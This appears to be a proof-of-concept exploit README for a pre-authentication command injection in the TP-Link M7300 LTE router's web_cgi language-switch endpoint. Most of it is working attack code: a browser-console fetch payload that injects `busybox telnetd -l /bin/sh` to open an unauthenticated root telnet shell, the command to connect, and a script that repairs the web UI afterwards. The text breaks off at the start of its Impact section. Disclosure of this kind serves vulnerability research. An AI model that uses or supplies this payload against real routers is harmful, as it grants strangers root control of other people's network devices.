TP-Link M7300 web_cgi command injection PoC (pre-auth RCE)
<p align="center">
<img src="banner.jpg" alt="TP-Link M7300 Telnet Exploit" width="100%">
</p>
# TP-Link M7300 — `web_cgi` Command Injection
Unauthenticated command injection via the language-switch endpoint on the **TP-Link M7300 (UN) v2.0** portable LTE router (firmware 1.0.5 Build 151210 Rel.1019n).
## Affected Endpoint
```
POST /cgi-bin/web_cgi
Content-Type: application/json
```
The `language` parameter in the `webServer` / `SET_LANGUAGE` action is passed to a shell context without sanitization.
## Proof of Concept
Paste in the browser console while connected to the device's admin panel (default `http://192.168.0.1`):
```javascript
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
module: "webServer",
action: 1,
language: "$(busybox telnetd -l /bin/sh)"
})
})
.then(r => r.json())
.then(d => console.log("Result:", d))
.catch(e => console.error("Error:", e));
```
On success, a telnet daemon starts on the default port (23). Connect with:
```bash
telnet 192.168.0.1
```
This gives an unauthenticated root shell.
## Fix Web UI After Exploit
The exploit corrupts the `language` setting (it becomes the shell command string), which breaks the web interface — pages fail to load translations and render blank or broken.
To restore it, paste [`fix.js`](fix.js) in the browser console:
```javascript
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
module: "webServer",
action: 1,
language: "en"
})
})
.then(r => r.json())
.then(d => {
if (d.result === 0) {
console.log("Language restored to English. Reloading...");
location.reload();
} else {
console.warn("Failed:", d);
}
})
.catch(e => console.error("Error:", e));
```
> **Note:** The telnet daemon stays running even after fixing the language — this only restores the web UI.
## Impact
- **Pre-auth**